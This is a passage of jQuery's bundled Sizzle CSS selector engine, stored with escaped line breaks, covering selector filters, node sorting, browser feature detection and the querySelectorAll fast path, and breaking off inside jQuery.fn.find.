0;\n\t\t\t\tmatch[3] = test[3] - 0;\n\t\t\t}\n\t\t\telse if ( match[2] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\t// TODO: Move to normal caching system\n\t\t\tmatch[0] = done++;\n\n\t\t\treturn match;\n\t\t},\n\n\t\tATTR: function( match, curLoop, inplace, result, not, isXML ) {\n\t\t\tvar name = match[1] = match[1].replace( rBackslash, \"\" );\n\n\t\t\tif ( !isXML && Expr.attrMap[name] ) {\n\t\t\t\tmatch[1] = Expr.attrMap[name];\n\t\t\t}\n\n\t\t\t// Handle if an un-quoted value was used\n\t\t\tmatch[4] = ( match[4] || match[5] || \"\" ).replace( rBackslash, \"\" );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[4] = \" \" + match[4] + \" \";\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\tPSEUDO: function( match, curLoop, inplace, result, not ) {\n\t\t\tif ( match[1] === \"not\" ) {\n\t\t\t\t// If we're dealing with a complex expression, or a simple one\n\t\t\t\tif ( ( chunker.exec(match[3]) || \"\" ).length > 1 || /^\\w/.test(match[3]) ) {\n\t\t\t\t\tmatch[3] = Sizzle(match[3], null, null, curLoop);\n\n\t\t\t\t} else {\n\t\t\t\t\tvar ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);\n\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tresult.push.apply( result, ret );\n\t\t\t\t\t}\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\tPOS: function( match ) {\n\t\t\tmatch.unshift( true );\n\n\t\t\treturn match;\n\t\t}\n\t},\n\n\tfilters: {\n\t\tenabled: function( elem ) {\n\t\t\treturn elem.disabled === false && elem.type !== \"hidden\";\n\t\t},\n\n\t\tdisabled: function( elem ) {\n\t\t\treturn elem.disabled === true;\n\t\t},\n\n\t\tchecked: function( elem ) {\n\t\t\treturn elem.checked === true;\n\t\t},\n\n\t\tselected: function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\tparent: function( elem ) {\n\t\t\treturn !!elem.firstChild;\n\t\t},\n\n\t\tempty: function( elem ) {\n\t\t\treturn !elem.firstChild;\n\t\t},\n\n\t\thas: function( elem, i, match ) {\n\t\t\treturn !!Sizzle( match[3], elem ).length;\n\t\t},\n\n\t\theader: function( elem ) {\n\t\t\treturn (/h\\d/i).test( elem.nodeName );\n\t\t},\n\n\t\ttext: function( elem ) {\n\t\t\tvar attr = elem.getAttribute( \"type\" ), type = elem.type;\n\t\t\t// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)\n\t\t\t// use getAttribute instead to test this case\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"text\" === type && ( attr === type || attr === null );\n\t\t},\n\n\t\tradio: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"radio\" === elem.type;\n\t\t},\n\n\t\tcheckbox: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"checkbox\" === elem.type;\n\t\t},\n\n\t\tfile: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"file\" === elem.type;\n\t\t},\n\n\t\tpassword: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"password\" === elem.type;\n\t\t},\n\n\t\tsubmit: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn (name === \"input\" || name === \"button\") && \"submit\" === elem.type;\n\t\t},\n\n\t\timage: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"image\" === elem.type;\n\t\t},\n\n\t\treset: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn (name === \"input\" || name === \"button\") && \"reset\" === elem.type;\n\t\t},\n\n\t\tbutton: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && \"button\" === elem.type || name === \"button\";\n\t\t},\n\n\t\tinput: function( elem ) {\n\t\t\treturn (/input|select|textarea|button/i).test( elem.nodeName );\n\t\t},\n\n\t\tfocus: function( elem ) {\n\t\t\treturn elem === elem.ownerDocument.activeElement;\n\t\t}\n\t},\n\tsetFilters: {\n\t\tfirst: function( elem, i ) {\n\t\t\treturn i === 0;\n\t\t},\n\n\t\tlast: function( elem, i, match, array ) {\n\t\t\treturn i === array.length - 1;\n\t\t},\n\n\t\teven: function( elem, i ) {\n\t\t\treturn i % 2 === 0;\n\t\t},\n\n\t\todd: function( elem, i ) {\n\t\t\treturn i % 2 === 1;\n\t\t},\n\n\t\tlt: function( elem, i, match ) {\n\t\t\treturn i < match[3] - 0;\n\t\t},\n\n\t\tgt: function( elem, i, match ) {\n\t\t\treturn i > match[3] - 0;\n\t\t},\n\n\t\tnth: function( elem, i, match ) {\n\t\t\treturn match[3] - 0 === i;\n\t\t},\n\n\t\teq: function( elem, i, match ) {\n\t\t\treturn match[3] - 0 === i;\n\t\t}\n\t},\n\tfilter: {\n\t\tPSEUDO: function( elem, match, i, array ) {\n\t\t\tvar name = match[1],\n\t\t\t\tfilter = Expr.filters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\n\t\t\t} else if ( name === \"contains\" ) {\n\t\t\t\treturn (elem.textContent || elem.innerText || getText([ elem ]) || \"\").indexOf(match[3]) >= 0;\n\n\t\t\t} else if ( name === \"not\" ) {\n\t\t\t\tvar not = match[3];\n\n\t\t\t\tfor ( var j = 0, l = not.length; j < l; j++ ) {\n\t\t\t\t\tif ( not[j] === elem ) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\n\t\t\t} else {\n\t\t\t\tSizzle.error( name );\n\t\t\t}\n\t\t},\n\n\t\tCHILD: function( elem, match ) {\n\t\t\tvar first, last,\n\t\t\t\tdoneName, parent, cache,\n\t\t\t\tcount, diff,\n\t\t\t\ttype = match[1],\n\t\t\t\tnode = elem;\n\n\t\t\tswitch ( type ) {\n\t\t\t\tcase \"only\":\n\t\t\t\tcase \"first\":\n\t\t\t\t\twhile ( (node = node.previousSibling) ) {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( type === \"first\" ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\n\t\t\t\t\tnode = elem;\n\n\t\t\t\t\t/* falls through */\n\t\t\t\tcase \"last\":\n\t\t\t\t\twhile ( (node = node.nextSibling) ) {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn true;\n\n\t\t\t\tcase \"nth\":\n\t\t\t\t\tfirst = match[2];\n\t\t\t\t\tlast = match[3];\n\n\t\t\t\t\tif ( first === 1 && last === 0 ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\n\t\t\t\t\tdoneName = match[0];\n\t\t\t\t\tparent = elem.parentNode;\n\n\t\t\t\t\tif ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {\n\t\t\t\t\t\tcount = 0;\n\n\t\t\t\t\t\tfor ( node = parent.firstChild; node; node = node.nextSibling ) {\n\t\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\t\tnode.nodeIndex = ++count;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tparent[ expando ] = doneName;\n\t\t\t\t\t}\n\n\t\t\t\t\tdiff = elem.nodeIndex - last;\n\n\t\t\t\t\tif ( first === 0 ) {\n\t\t\t\t\t\treturn diff === 0;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tID: function( elem, match ) {\n\t\t\treturn elem.nodeType === 1 && elem.getAttribute(\"id\") === match;\n\t\t},\n\n\t\tTAG: function( elem, match ) {\n\t\t\treturn (match === \"*\" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;\n\t\t},\n\n\t\tCLASS: function( elem, match ) {\n\t\t\treturn (\" \" + (elem.className || elem.getAttribute(\"class\")) + \" \")\n\t\t\t\t.indexOf( match ) > -1;\n\t\t},\n\n\t\tATTR: function( elem, match ) {\n\t\t\tvar name = match[1],\n\t\t\t\tresult = Sizzle.attr ?\n\t\t\t\t\tSizzle.attr( elem, name ) :\n\t\t\t\t\tExpr.attrHandle[ name ] ?\n\t\t\t\t\tExpr.attrHandle[ name ]( elem ) :\n\t\t\t\t\telem[ name ] != null ?\n\t\t\t\t\t\telem[ name ] :\n\t\t\t\t\t\telem.getAttribute( name ),\n\t\t\t\tvalue = result + \"\",\n\t\t\t\ttype = match[2],\n\t\t\t\tcheck = match[4];\n\n\t\t\treturn result == null ?\n\t\t\t\ttype === \"!=\" :\n\t\t\t\t!type && Sizzle.attr ?\n\t\t\t\tresult != null :\n\t\t\t\ttype === \"=\" ?\n\t\t\t\tvalue === check :\n\t\t\t\ttype === \"*=\" ?\n\t\t\t\tvalue.indexOf(check) >= 0 :\n\t\t\t\ttype === \"~=\" ?\n\t\t\t\t(\" \" + value + \" \").indexOf(check) >= 0 :\n\t\t\t\t!check ?\n\t\t\t\tvalue && result !== false :\n\t\t\t\ttype === \"!=\" ?\n\t\t\t\tvalue !== check :\n\t\t\t\ttype === \"^=\" ?\n\t\t\t\tvalue.indexOf(check) === 0 :\n\t\t\t\ttype === \"$=\" ?\n\t\t\t\tvalue.substr(value.length - check.length) === check :\n\t\t\t\ttype === \"|=\" ?\n\t\t\t\tvalue === check || value.substr(0, check.length + 1) === check + \"-\" :\n\t\t\t\tfalse;\n\t\t},\n\n\t\tPOS: function( elem, match, i, array ) {\n\t\t\tvar name = match[2],\n\t\t\t\tfilter = Expr.setFilters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar origPOS = Expr.match.POS,\n\tfescape = function(all, num){\n\t\treturn \"\\\\\" + (num - 0 + 1);\n\t};\n\nfor ( var type in Expr.match ) {\n\tExpr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\\[]*\\])(?![^\\(]*\\))/.source) );\n\tExpr.leftMatch[ type ] = new RegExp( /(^(?:.|\\r|\\n)*?)/.source + Expr.match[ type ].source.replace(/\\\\(\\d+)/g, fescape) );\n}\n// Expose origPOS\n// \"global\" as in regardless of relation to brackets/parens\nExpr.match.globalPOS = origPOS;\n\nvar makeArray = function( array, results ) {\n\tarray = Array.prototype.slice.call( array, 0 );\n\n\tif ( results ) {\n\t\tresults.push.apply( results, array );\n\t\treturn results;\n\t}\n\n\treturn array;\n};\n\n// Perform a simple check to determine if the browser is capable of\n// converting a NodeList to an array using builtin methods.\n// Also verifies that the returned array holds DOM nodes\n// (which is not the case in the Blackberry browser)\ntry {\n\tArray.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;\n\n// Provide a fallback method if it does not work\n} catch( e ) {\n\tmakeArray = function( array, results ) {\n\t\tvar i = 0,\n\t\t\tret = results || [];\n\n\t\tif ( toString.call(array) === \"[object Array]\" ) {\n\t\t\tArray.prototype.push.apply( ret, array );\n\n\t\t} else {\n\t\t\tif ( typeof array.length === \"number\" ) {\n\t\t\t\tfor ( var l = array.length; i < l; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tfor ( ; array[i]; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nvar sortOrder, siblingCheck;\n\nif ( document.documentElement.compareDocumentPosition ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tif ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {\n\t\t\treturn a.compareDocumentPosition ? -1 : 1;\n\t\t}\n\n\t\treturn a.compareDocumentPosition(b) & 4 ? -1 : 1;\n\t};\n\n} else {\n\tsortOrder = function( a, b ) {\n\t\t// The nodes are identical, we can exit early\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\n\t\t// Fallback to using sourceIndex (in IE) if it's available on both nodes\n\t\t} else if ( a.sourceIndex && b.sourceIndex ) {\n\t\t\treturn a.sourceIndex - b.sourceIndex;\n\t\t}\n\n\t\tvar al, bl,\n\t\t\tap = [],\n\t\t\tbp = [],\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tcur = aup;\n\n\t\t// If the nodes are siblings (or identical) we can do a quick check\n\t\tif ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\n\t\t// If no parents were found then the nodes are disconnected\n\t\t} else if ( !aup ) {\n\t\t\treturn -1;\n\n\t\t} else if ( !bup ) {\n\t\t\treturn 1;\n\t\t}\n\n\t\t// Otherwise they're somewhere else in the tree so we need\n\t\t// to build up a full list of the parentNodes for comparison\n\t\twhile ( cur ) {\n\t\t\tap.unshift( cur );\n\t\t\tcur = cur.parentNode;\n\t\t}\n\n\t\tcur = bup;\n\n\t\twhile ( cur ) {\n\t\t\tbp.unshift( cur );\n\t\t\tcur = cur.parentNode;\n\t\t}\n\n\t\tal = ap.length;\n\t\tbl = bp.length;\n\n\t\t// Start walking down the tree looking for a discrepancy\n\t\tfor ( var i = 0; i < al && i < bl; i++ ) {\n\t\t\tif ( ap[i] !== bp[i] ) {\n\t\t\t\treturn siblingCheck( ap[i], bp[i] );\n\t\t\t}\n\t\t}\n\n\t\t// We ended someplace up the tree so do a sibling check\n\t\treturn i === al ?\n\t\t\tsiblingCheck( a, bp[i], -1 ) :\n\t\t\tsiblingCheck( ap[i], b, 1 );\n\t};\n\n\tsiblingCheck = function( a, b, ret ) {\n\t\tif ( a === b ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tvar cur = a.nextSibling;\n\n\t\twhile ( cur ) {\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tcur = cur.nextSibling;\n\t\t}\n\n\t\treturn 1;\n\t};\n}\n\n// Check to see if the browser returns elements by name when\n// querying by getElementById (and provide a workaround)\n(function(){\n\t// We're going to inject a fake input element with a specified name\n\tvar form = document.createElement(\"div\"),\n\t\tid = \"script\" + (new Date()).getTime(),\n\t\troot = document.documentElement;\n\n\tform.innerHTML = \"<a name='\" + id + \"'/>\";\n\n\t// Inject it into the root element, check its status, and remove it quickly\n\troot.insertBefore( form, root.firstChild );\n\n\t// The workaround has to do additional checks after a getElementById\n\t// Which slows things down for other browsers (hence the branching)\n\tif ( document.getElementById( id ) ) {\n\t\tExpr.find.ID = function( match, context, isXML ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\n\t\t\t\treturn m ?\n\t\t\t\t\tm.id === match[1] || typeof m.getAttributeNode !== \"undefined\" && m.getAttributeNode(\"id\").nodeValue === match[1] ?\n\t\t\t\t\t\t[m] :\n\t\t\t\t\t\tundefined :\n\t\t\t\t\t[];\n\t\t\t}\n\t\t};\n\n\t\tExpr.filter.ID = function( elem, match ) {\n\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" && elem.getAttributeNode(\"id\");\n\n\t\t\treturn elem.nodeType === 1 && node && node.nodeValue === match;\n\t\t};\n\t}\n\n\troot.removeChild( form );\n\n\t// release memory in IE\n\troot = form = null;\n})();\n\n(function(){\n\t// Check to see if the browser returns only elements\n\t// when doing getElementsByTagName(\"*\")\n\n\t// Create a fake element\n\tvar div = document.createElement(\"div\");\n\tdiv.appendChild( document.createComment(\"\") );\n\n\t// Make sure no comments are found\n\tif ( div.getElementsByTagName(\"*\").length > 0 ) {\n\t\tExpr.find.TAG = function( match, context ) {\n\t\t\tvar results = context.getElementsByTagName( match[1] );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( match[1] === \"*\" ) {\n\t\t\t\tvar tmp = [];\n\n\t\t\t\tfor ( var i = 0; results[i]; i++ ) {\n\t\t\t\t\tif ( results[i].nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresults = tmp;\n\t\t\t}\n\n\t\t\treturn results;\n\t\t};\n\t}\n\n\t// Check to see if an attribute returns normalized href attributes\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\n\tif ( div.firstChild && typeof div.firstChild.getAttribute !== \"undefined\" &&\n\t\t\tdiv.firstChild.getAttribute(\"href\") !== \"#\" ) {\n\n\t\tExpr.attrHandle.href = function( elem ) {\n\t\t\treturn elem.getAttribute( \"href\", 2 );\n\t\t};\n\t}\n\n\t// release memory in IE\n\tdiv = null;\n})();\n\nif ( document.querySelectorAll ) {\n\t(function(){\n\t\tvar oldSizzle = Sizzle,\n\t\t\tdiv = document.createElement(\"div\"),\n\t\t\tid = \"__sizzle__\";\n\n\t\tdiv.innerHTML = \"<p class='TEST'></p>\";\n\n\t\t// Safari can't handle uppercase or unicode characters when\n\t\t// in quirks mode.\n\t\tif ( div.querySelectorAll && div.querySelectorAll(\".TEST\").length === 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tSizzle = function( query, context, extra, seed ) {\n\t\t\tcontext = context || document;\n\n\t\t\t// Only use querySelectorAll on non-XML documents\n\t\t\t// (ID selectors don't work in non-HTML documents)\n\t\t\tif ( !seed && !Sizzle.isXML(context) ) {\n\t\t\t\t// See if we find a selector to speed up\n\t\t\t\tvar match = /^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec( query );\n\n\t\t\t\tif ( match && (context.nodeType === 1 || context.nodeType === 9) ) {\n\t\t\t\t\t// Speed-up: Sizzle(\"TAG\")\n\t\t\t\t\tif ( match[1] ) {\n\t\t\t\t\t\treturn makeArray( context.getElementsByTagName( query ), extra );\n\n\t\t\t\t\t// Speed-up: Sizzle(\".CLASS\")\n\t\t\t\t\t} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {\n\t\t\t\t\t\treturn makeArray( context.getElementsByClassName( match[2] ), extra );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( context.nodeType === 9 ) {\n\t\t\t\t\t// Speed-up: Sizzle(\"body\")\n\t\t\t\t\t// The body element only exists once, optimize finding it\n\t\t\t\t\tif ( query === \"body\" && context.body ) {\n\t\t\t\t\t\treturn makeArray( [ context.body ], extra );\n\n\t\t\t\t\t// Speed-up: Sizzle(\"#ID\")\n\t\t\t\t\t} else if ( match && match[3] ) {\n\t\t\t\t\t\tvar elem = context.getElementById( match[3] );\n\n\t\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === match[3] ) {\n\t\t\t\t\t\t\t\treturn makeArray( [ elem ], extra );\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn makeArray( [], extra );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\treturn makeArray( context.querySelectorAll(query), extra );\n\t\t\t\t\t} catch(qsaError) {}\n\n\t\t\t\t// qSA works strangely on Element-rooted queries\n\t\t\t\t// We can work around this by specifying an extra ID on the root\n\t\t\t\t// and working up from there (Thanks to Andrew Dupont for the technique)\n\t\t\t\t// IE 8 doesn't work on object elements\n\t\t\t\t} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== \"object\" ) {\n\t\t\t\t\tvar oldContext = context,\n\t\t\t\t\t\told = context.getAttribute( \"id\" ),\n\t\t\t\t\t\tnid = old || id,\n\t\t\t\t\t\thasParent = context.parentNode,\n\t\t\t\t\t\trelativeHierarchySelector = /^\\s*[+~]/.test( query );\n\n\t\t\t\t\tif ( !old ) {\n\t\t\t\t\t\tcontext.setAttribute( \"id\", nid );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnid = nid.replace( /'/g, \"\\\\$&\" );\n\t\t\t\t\t}\n\t\t\t\t\tif ( relativeHierarchySelector && hasParent ) {\n\t\t\t\t\t\tcontext = context.parentNode;\n\t\t\t\t\t}\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tif ( !relativeHierarchySelector || hasParent ) {\n\t\t\t\t\t\t\treturn makeArray( context.querySelectorAll( \"[id='\" + nid + \"'] \" + query ), extra );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} catch(pseudoError) {\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tif ( !old ) {\n\t\t\t\t\t\t\toldContext.removeAttribute( \"id\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn oldSizzle(query, context, extra, seed);\n\t\t};\n\n\t\tfor ( var prop in oldSizzle ) {\n\t\t\tSizzle[ prop ] = oldSizzle[ prop ];\n\t\t}\n\n\t\t// release memory in IE\n\t\tdiv = null;\n\t})();\n}\n\n(function(){\n\tvar html = document.documentElement,\n\t\tmatches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;\n\n\tif ( matches ) {\n\t\t// Check to see if it's possible to do matchesSelector\n\t\t// on a disconnected node (IE 9 fails this)\n\t\tvar disconnectedMatch = !matches.call( document.createElement( \"div\" ), \"div\" ),\n\t\t\tpseudoWorks = false;\n\n\t\ttry {\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( document.documentElement, \"[test!='']:sizzle\" );\n\n\t\t} catch( pseudoError ) {\n\t\t\tpseudoWorks = true;\n\t\t}\n\n\t\tSizzle.matchesSelector = function( node, expr ) {\n\t\t\t// Make sure that attribute selectors are quoted\n\t\t\texpr = expr.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g, \"='$1']\");\n\n\t\t\tif ( !Sizzle.isXML( node ) ) {\n\t\t\t\ttry {\n\t\t\t\t\tif ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {\n\t\t\t\t\t\tvar ret = matches.call( node, expr );\n\n\t\t\t\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\t\t\t\tif ( ret || !disconnectedMatch ||\n\t\t\t\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t\t\t\t// fragment in IE 9, so check for that\n\t\t\t\t\t\t\t\tnode.document && node.document.nodeType !== 11 ) {\n\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t\treturn Sizzle(expr, null, null, [node]).length > 0;\n\t\t};\n\t}\n})();\n\n(function(){\n\tvar div = document.createElement(\"div\");\n\n\tdiv.innerHTML = \"<div class='test e'></div><div class='test'></div>\";\n\n\t// Opera can't find a second classname (in 9.6)\n\t// Also, make sure that getElementsByClassName actually exists\n\tif ( !div.getElementsByClassName || div.getElementsByClassName(\"e\").length === 0 ) {\n\t\treturn;\n\t}\n\n\t// Safari caches class attributes, doesn't catch changes (in 3.2)\n\tdiv.lastChild.className = \"e\";\n\n\tif ( div.getElementsByClassName(\"e\").length === 1 ) {\n\t\treturn;\n\t}\n\n\tExpr.order.splice(1, 0, \"CLASS\");\n\tExpr.find.CLASS = function( match, context, isXML ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && !isXML ) {\n\t\t\treturn context.getElementsByClassName(match[1]);\n\t\t}\n\t};\n\n\t// release memory in IE\n\tdiv = null;\n})();\n\nfunction dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\n\t\tif ( elem ) {\n\t\t\tvar match = false;\n\n\t\t\telem = elem[dir];\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem[ expando ] === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 && !isXML ){\n\t\t\t\t\telem[ expando ] = doneName;\n\t\t\t\t\telem.sizset = i;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeName.toLowerCase() === cur ) {\n\t\t\t\t\tmatch = elem;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nfunction dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\n\t\tif ( elem ) {\n\t\t\tvar match = false;\n\n\t\t\telem = elem[dir];\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem[ expando ] === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !isXML ) {\n\t\t\t\t\t\telem[ expando ] = doneName;\n\t\t\t\t\t\telem.sizset = i;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( typeof cur !== \"string\" ) {\n\t\t\t\t\t\tif ( elem === cur ) {\n\t\t\t\t\t\t\tmatch = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {\n\t\t\t\t\t\tmatch = elem;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nif ( document.documentElement.contains ) {\n\tSizzle.contains = function( a, b ) {\n\t\treturn a !== b && (a.contains ? a.contains(b) : true);\n\t};\n\n} else if ( document.documentElement.compareDocumentPosition ) {\n\tSizzle.contains = function( a, b ) {\n\t\treturn !!(a.compareDocumentPosition(b) & 16);\n\t};\n\n} else {\n\tSizzle.contains = function() {\n\t\treturn false;\n\t};\n}\n\nSizzle.isXML = function( elem ) {\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833)\n\tvar documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;\n\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\nvar posProcess = function( selector, context, seed ) {\n\tvar match,\n\t\ttmpSet = [],\n\t\tlater = \"\",\n\t\troot = context.nodeType ? [context] : context;\n\n\t// Position selectors must be done after the filter\n\t// And so must :not(positional) so we move all PSEUDOs to the end\n\twhile ( (match = Expr.match.PSEUDO.exec( selector )) ) {\n\t\tlater += match[0];\n\t\tselector = selector.replace( Expr.match.PSEUDO, \"\" );\n\t}\n\n\tselector = Expr.relative[selector] ? selector + \"*\" : selector;\n\n\tfor ( var i = 0, l = root.length; i < l; i++ ) {\n\t\tSizzle( selector, root[i], tmpSet, seed );\n\t}\n\n\treturn Sizzle.filter( later, tmpSet );\n};\n\n// EXPOSE\n// Override sizzle attribute retrieval\nSizzle.attr = jQuery.attr;\nSizzle.selectors.attrMap = {};\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[\":\"] = jQuery.expr.filters;\njQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\n\n\n})();\n\n\nvar runtil = /Until$/,\n\trparentsprev = /^(?:parents|prevUntil|prevAll)/,\n\t// Note: This RegExp should be improved, or likely pulled from Sizzle\n\trmultiselector = /,/,\n\tisSimple = /^.[^:#\\[\\.,]*$/,\n\tslice = Array.prototype.slice,\n\tPOS = jQuery.expr.match.globalPOS,\n\t// methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend({\n\tfind: function( selector ) {\n\t\tvar self = this,\n\t\t\ti, l;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn jQuery( selector ).filter(function() {\n\t\t\t\tfor ( i = 0, l = self.length; i < l; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tvar ret = this.pushStack( \"\", \"find\", selector ),\n\t\t\tlength, n, r;\n\n\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\tlength = 